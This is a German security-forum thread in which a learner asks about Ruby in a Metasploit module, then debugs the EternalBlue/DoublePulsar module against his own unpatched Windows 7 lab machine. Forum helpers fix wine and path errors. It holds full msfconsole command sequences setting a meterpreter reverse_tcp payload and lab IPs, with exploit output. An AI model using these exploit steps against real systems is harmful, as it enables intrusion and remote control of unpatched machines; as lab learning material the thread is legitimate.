Danke Danke:  0
Gefällt mir Gefällt mir:  0
Dislikes Dislikes:  0
Ergebnis 1 bis 11 von 11

Thema: Metasploit / Ruby und Code verstehen...

  1. #1

    Registriert seit
    24.07.13
    Danke (erhalten)
    0
    Gefällt mir (erhalten)
    3

    Standard Metasploit / Ruby und Code verstehen...

    Anzeige
    hallo,
    ich arbeite mich gerade in Ruby ein, den Code verstehe ich so lala bis auf die ersten 3 Zeilen,
    HTML-Code:
    require 'msf/core'
    
    class MetasploitModule < Msf::Exploit::Remote
    
      include Msf::Exploit::Remote::SMB::Client
    was passiert da?
    www.die-kunst-des-exploits.de --Buchaktualisierung--

  2. #2

    Registriert seit
    05.12.15
    Danke (erhalten)
    10
    Gefällt mir (erhalten)
    23

    Standard

    require bedeutet, dass ein bestimmter Paketsatz (msf/core) benötigt wird. Aus diesem wird die Klasse (MetasploitModule) geladen. Include für ein Objekt aus einer anderen Datei ein.

    Hinweis: Aus Programmierersicht (was ich nicht bin) wäre besser:

    if( ! include Msf::Exploit::Remote::SMB::Client ) -> Throw Exception.
    Include ist nämlich eine boolean Funktion.
    Geändert von Shalec (07.05.18 um 09:52 Uhr)

  3. #3

    Registriert seit
    28.11.17
    Danke (erhalten)
    1
    Gefällt mir (erhalten)
    8

    Standard

    Zitat Zitat von Shalec Beitrag anzeigen
    Hinweis: Aus Programmierersicht (was ich nicht bin) wäre besser:
    if( ! include Msf::Exploit::Remote::SMB::Client ) -> Throw Exception. Include ist nämlich eine boolean Funktion.
    So wie ich das sehe ist durch das require schon sichergestellt, dass die Klassen verfügbar sind. Ansonsten bricht der Code direkt in der ersten Zeile ab. Das include sorgt dann lediglich dafür, dass genau die gewünschte Funktionalität nutzbar ist.
    Also doch etwas anders als es in Sprachen wie C oder C++ ist, wo das include direkt für beides sorgt, dann aber auch alles compilert.

  4. #4
    Moderator Avatar von Chromatin
    Registriert seit
    30.06.08
    Danke (erhalten)
    34
    Gefällt mir (erhalten)
    857

    Standard

    require lädt eine Lib als Ruby-Extension.

    Das include sorgt dann lediglich dafür, dass genau die gewünschte Funktionalität nutzbar ist.
    das Importiert (dort) bereitgestellte Variablen/Konstanten etc.

    Das > ist hier eine Auswertung betreffender Module/Libs bzgl. Modulhierachie (Hierarchy Query).

    In deinem Fall liegt die Class in der zuvor mit require gelesenen Lib (msf/core/exploit.rb).

    Wenn ein Gesetz nicht gerecht ist, dann geht die Gerechtigkeit vor dem Gesetz!

    Habo Blog - http://blog.hackerboard.de/

  5. #5

    Registriert seit
    05.12.15
    Danke (erhalten)
    10
    Gefällt mir (erhalten)
    23

    Standard

    Zitat Zitat von Yoko Beitrag anzeigen
    So wie ich das sehe ist durch das require schon sichergestellt, dass die Klassen verfügbar sind. Ansonsten bricht der Code direkt in der ersten Zeile ab. Das include sorgt dann lediglich dafür, dass genau die gewünschte Funktionalität nutzbar ist.
    Also doch etwas anders als es in Sprachen wie C oder C++ ist, wo das include direkt für beides sorgt, dann aber auch alles compilert.
    Was passiert, wenn diese Klasse nicht existiert? Ich denke nicht, dass require sicherstellt, dass jede Klasse, die du gerne "einfügen" möchtest, auch eingefügt werden kann. Daher würde ich hier, auch wenn es idR so sein wird, dass die Klassen existieren werden, den Code so oder so ähnlich schon als sinnvolle Erweiterung zum erkennen von Fehlern (durch Vertipper z.B.) ansehen.

    Aber da kann es sein, das Ruby hier doch recht speziell ist und, z.B., Tippfehler anders deutlich macht.

  6. #6

    Registriert seit
    24.07.13
    Danke (erhalten)
    0
    Gefällt mir (erhalten)
    3

    Standard

    danke Jungs,
    noch ein paar Bauschschmerzen habe ich.

    Vor Prinzip her wollte ich mich Spezialien auf Metasploit. Als habe ich mir die Live DVD 2018 Jan heruntergeladen. Dann einen Rechner hergerichtet mit Windows 7 mit SP1 ohne Updates.
    Dann bin ich auf diese Anleitung gestossen:
    GitHub - ElevenPaths/Eternalblue-Doublepulsar-Metasploit

    HTML-Code:
    root@kali:~# git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit
    Cloning into 'Eternalblue-Doublepulsar-Metasploit'...
    remote: Counting objects: 65, done.
    remote: Total 65 (delta 0), reused 0 (delta 0), pack-reused 65
    Unpacking objects: 100% (65/65), done.
    
    root@kali:~# cd Eternalblue-Doublepulsar-Metasploit/
    root@kali:~/Eternalblue-Doublepulsar-Metasploit# mv eternalblue_doublepulsar.rb /usr/share/metasploit-framework/modules/exploits/windows/smb/
    
    msf exploit(windows/smb/eternalblue_doublepulsar) > set rhost 192.168.178.66
    rhost => 192.168.178.66
    msf exploit(windows/smb/eternalblue_doublepulsar) > set PROCESSINJECT svchost.exe
    PROCESSINJECT => svchost.exe
    msf exploit(windows/smb/eternalblue_doublepulsar) > set payload windows/metapreter/reverse_tcp
    [-] The value specified for payload is not valid.
    msf exploit(windows/smb/eternalblue_doublepulsar) > set payload windows/meterpreter/reverse_tcp
    payload => windows/meterpreter/reverse_tcp
    msf exploit(windows/smb/eternalblue_doublepulsar) > set lhost 192.168.178.44
    lhost => 192.168.178.44
    msf exploit(windows/smb/eternalblue_doublepulsar) > exploit
    [*] Started reverse TCP handler on 192.168.178.44:4444 [*] 192.168.178.66:445 - Generating Eternalblue XML data[*] 192.168.178.66:445 - Generating Doublepulsar XML data[*] 192.168.178.66:445 - Generating payload DLL for Doublepulsar
    [-] 192.168.178.66:445 - Exploit failed: Errno::ENOENT No such file or directory @ rb_sysopen - /root/.wine/drive_c/eternal11.dll[*] Exploit completed, but no session was created.
    Die IPs der beiden Rechner stimmen 100 %

    Ich will nur auf mein Kali Linux testen. Ich bin für jeden Tipp Dankbar.
    www.die-kunst-des-exploits.de --Buchaktualisierung--

  7. #7
    Moderator Avatar von Chromatin
    Registriert seit
    30.06.08
    Danke (erhalten)
    34
    Gefällt mir (erhalten)
    857

    Standard

    Hast du wine installiert?


    *edit*
    Vor Prinzip her wollte ich mich Spezialien auf Metasploit
    Dafür wirst du dich mit den Sprachen der scripts auseinandersetzen müssen. In diesem Fall eben Ruby. Lohnt sich aber, ruby ist cool!
    Wenn ein Gesetz nicht gerecht ist, dann geht die Gerechtigkeit vor dem Gesetz!

    Habo Blog - http://blog.hackerboard.de/

  8. #8

    Registriert seit
    24.07.13
    Danke (erhalten)
    0
    Gefällt mir (erhalten)
    3

    Standard

    HTML-Code:
    root@kali:~# wine --version
    it looks like wine32 is missing, you should install it.
    multiarch needs to be enabled first.  as root, please
    execute "dpkg --add-architecture i386 && apt-get update &&
    apt-get install wine32"
    wine-2.0.3 (Debian 2.0.3-1)
    root@kali:~# 
    root@kali:~# dpkg --add-architecture i386 && apt-get update && apt-get install wine32
    Paketlisten werden gelesen... Fertig
    Paketlisten werden gelesen... Fertig
    Abhängigkeitsbaum wird aufgebaut.       
    Statusinformationen werden eingelesen.... Fertig
    Paket wine32 ist nicht verfügbar, wird aber von einem anderen Paket
    referenziert. Das kann heißen, dass das Paket fehlt, dass es abgelöst
    wurde oder nur aus einer anderen Quelle verfügbar ist.
    
    E: Für Paket »wine32« existiert kein Installationskandidat.
    root@kali:~# 
    Irgendwie stehe ich auf dem Schlauch.
    Gleiche Fehlermeldung wie oben.

    Es MUSS nicht der Exploit sein. Mein Ziel ist: Mit Metaexploit meinen Win 7 SP1 (ohne update) Rechner runterfahren zulassen.
    www.die-kunst-des-exploits.de --Buchaktualisierung--

  9. #9
    Moderator Avatar von bitmuncher
    Registriert seit
    30.09.06
    Danke (erhalten)
    159
    Gefällt mir (erhalten)
    1672

    Standard

    Ich wage mal zu bezweifeln, dass du wirklich wine brauchst, da ja die Datei eternal11.dll im Exploit-Code generiert wird:

    Code:
      File.open(datastore['WINEPATH']+datastore['DLLName'],'w') do |f|
            print_status("Writing DLL in #{dllpayload}")
            f.print dll
      end
    Dein Problem ist also vermutlich nur, dass der Pfad, in dem die DLL erstellt werden soll, nicht existiert und daher die Datei nicht geschrieben werden kann. Daher sollte es reichen den Ordner einfach anzulegen:

    Code:
    mkdir -p /root/.wine/drive_c/
    Edit:
    Siehe auch: Exploit failed: Errno::ENOENT No such file * Issue #23 * ElevenPaths/Eternalblue-Doublepulsar-Metasploit * GitHub

    Wenn du ernsthaft mit MSF arbeiten willst, solltest du dringend lernen nach Fehlermeldungen zu googlen.

  10. #10

    Registriert seit
    24.07.13
    Danke (erhalten)
    0
    Gefällt mir (erhalten)
    3

    Standard

    Zitat Zitat von bitmuncher Beitrag anzeigen
    Ich wage mal zu bezweifeln, dass du wirklich wine brauchst, da ja die Datei eternal11.dll im Exploit-Code generiert wird:
    Code:
    mkdir -p /root/.wine/drive_c/

    Wenn du ernsthaft mit MSF arbeiten willst, solltest du dringend lernen nach Fehlermeldungen zu googlen.
    ok,thx.
    es lag wirklich daran :-)
    nächste Baustelle:
    HTML-Code:
    msf exploit(windows/smb/eternalblue_doublepulsar) > exploit
    [*] Started reverse TCP handler on 192.168.178.27:4444 [*] 192.168.178.66:445 - Generating Eternalblue XML data[*] 192.168.178.66:445 - Generating Doublepulsar XML data[*] 192.168.178.66:445 - Generating payload DLL for Doublepulsar[*] 192.168.178.66:445 - Writing DLL in /root/.wine/drive_c/eternal11.dll[*] 192.168.178.66:445 - Launching Eternalblue...
    it looks like wine32 is missing, you should install it.
    as root, please execute "apt-get install wine32"
    err:ole:marshal_object couldn't get IPSFactory buffer for interface {00000131-0000-0000-c000-000000000046}
    err:ole:marshal_object couldn't get IPSFactory buffer for interface {6d5140c1-7436-11ce-8034-00aa006009fa}
    err:ole:StdMarshalImpl_MarshalInterface Failed to create ifstub, hres=0x80004002
    err:ole:CoMarshalInterface Failed to marshal the interface {6d5140c1-7436-11ce-8034-00aa006009fa}, 80004002
    err:ole:get_local_server_stream Failed: 80004002
    err:ole:marshal_object couldn't get IPSFactory buffer for interface {00000131-0000-0000-c000-000000000046}
    err:ole:marshal_object couldn't get IPSFactory buffer for interface {6d5140c1-7436-11ce-8034-00aa006009fa}
    err:ole:StdMarshalImpl_MarshalInterface Failed to create ifstub, hres=0x80004002
    err:ole:CoMarshalInterface Failed to marshal the interface {6d5140c1-7436-11ce-8034-00aa006009fa}, 80004002
    err:ole:get_local_server_stream Failed: 80004002
    Could not load wine-gecko. HTML rendering will be disabled.
    it looks like wine32 is missing, you should install it.
    as root, please execute "apt-get install wine32"
    Could not load wine-gecko. HTML rendering will be disabled.
    wine: configuration in '/root/.wine' has been updated.
    it looks like wine32 is missing, you should install it.
    as root, please execute "apt-get install wine32"
    wine: Fehlerhaftes EXE-Format für Z:\root\Eternalblue-Doublepulsar-Metasploit\deps\Eternalblue-2.2.0.exe.
    [-] 192.168.178.66:445 - Are you sure it's vulnerable?[*] 192.168.178.66:445 - Launching Doublepulsar...
    it looks like wine32 is missing, you should install it.
    as root, please execute "apt-get install wine32"
    it looks like wine32 is missing, you should install it.
    as root, please execute "apt-get install wine32"
    wine: Fehlerhaftes EXE-Format für Z:\root\Eternalblue-Doublepulsar-Metasploit\deps\Doublepulsar-1.3.1.exe.
    [-] 192.168.178.66:445 - Oops, something was wrong![*] Exploit completed, but no session was created.
    msf exploit(windows/smb/eternalblue_doublepulsar) > 
    goggle goggle goggle...
    die haben das gleiche Problem:
    Bad EXE format * Issue #4 * ElevenPaths/Eternalblue-Doublepulsar-Metasploit * GitHub

    HTML-Code:
    msf exploit(windows/smb/eternalblue_doublepulsar) > set eternalbluepath /root/Eternalblue-Doublepulsar-Metasploit/deps/
    eternalbluepath => /root/Eternalblue-Doublepulsar-Metasploit/deps/
    msf exploit(windows/smb/eternalblue_doublepulsar) >
    leder das gleiche Ergebnis :-(

    Mein Kali läuft auf 64 Bit mein Ziel auf 32 Bit.
    ich denke das sollte bei mir passen ---> set payload windows/meterpreter/reverse_tcp (32bit)

    Das habe ich auch gecheckt, leider auch ohne Erfolg ---> Change: PROCESSINJECT wlms.exe/lsass.exe
    www.die-kunst-des-exploits.de --Buchaktualisierung--

  11. #11

    Registriert seit
    24.07.13
    Danke (erhalten)
    0
    Gefällt mir (erhalten)
    3

    Standard

    Anzeige
    ... kleiner Nachtrag:
    HTML-Code:
    root@kali:~# winecfg
    it looks like wine32 is missing, you should install it.
    as root, please execute "apt-get install wine32"
    root@kali:~# 
    Wine war auf WIndows XP eingestellt.

    HTML-Code:
    msf exploit(windows/smb/eternalblue_doublepulsar) > exploit
    [*] Started reverse TCP handler on 192.168.178.27:4444 [*] 192.168.178.66:445 - Generating Eternalblue XML data[*] 192.168.178.66:445 - Generating Doublepulsar XML data[*] 192.168.178.66:445 - Generating payload DLL for Doublepulsar[*] 192.168.178.66:445 - Writing DLL in /root/.wine/drive_c/eternal11.dll[*] 192.168.178.66:445 - Launching Eternalblue...
    it looks like wine32 is missing, you should install it.
    as root, please execute "apt-get install wine32"
    it looks like wine32 is missing, you should install it.
    as root, please execute "apt-get install wine32"
    wine: Fehlerhaftes EXE-Format für Z:\root\Eternalblue-Doublepulsar-Metasploit\deps\Eternalblue-2.2.0.exe.
    [-] 192.168.178.66:445 - Are you sure it's vulnerable?[*] 192.168.178.66:445 - Launching Doublepulsar...
    it looks like wine32 is missing, you should install it.
    as root, please execute "apt-get install wine32"
    it looks like wine32 is missing, you should install it.
    as root, please execute "apt-get install wine32"
    wine: Fehlerhaftes EXE-Format für Z:\root\Eternalblue-Doublepulsar-Metasploit\deps\Doublepulsar-1.3.1.exe.
    [-] 192.168.178.66:445 - Oops, something was wrong![*] Exploit completed, but no session was created.
    msf exploit(windows/smb/eternalblue_doublepulsar) > 
    Die Fehlermeldungen werden weniger :-)


    ok, ich gebe nicht auf !!!!!!

    google google goooooooooooooooooogle...
    wine - Wine32 Kali linux error - Stack Overflow

    Das war die Lösung :-)
    Geändert von tomovic (15.05.18 um 19:38 Uhr) Grund: jetzt gehts :-)
    www.die-kunst-des-exploits.de --Buchaktualisierung--

Ähnliche Themen

  1. Whitepaper verstehen ^^''
    Von Schurke im Forum (In)security allgemein
    Antworten: 10
    Letzter Beitrag: 16.04.09, 21:22
  2. Registry verstehen
    Von Hirnbreaker im Forum (In)security allgemein
    Antworten: 3
    Letzter Beitrag: 28.08.05, 08:48
  3. Will Zip Verschlüsselung verstehen
    Von augures im Forum Cryptography & Encryption
    Antworten: 0
    Letzter Beitrag: 17.06.05, 10:37

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •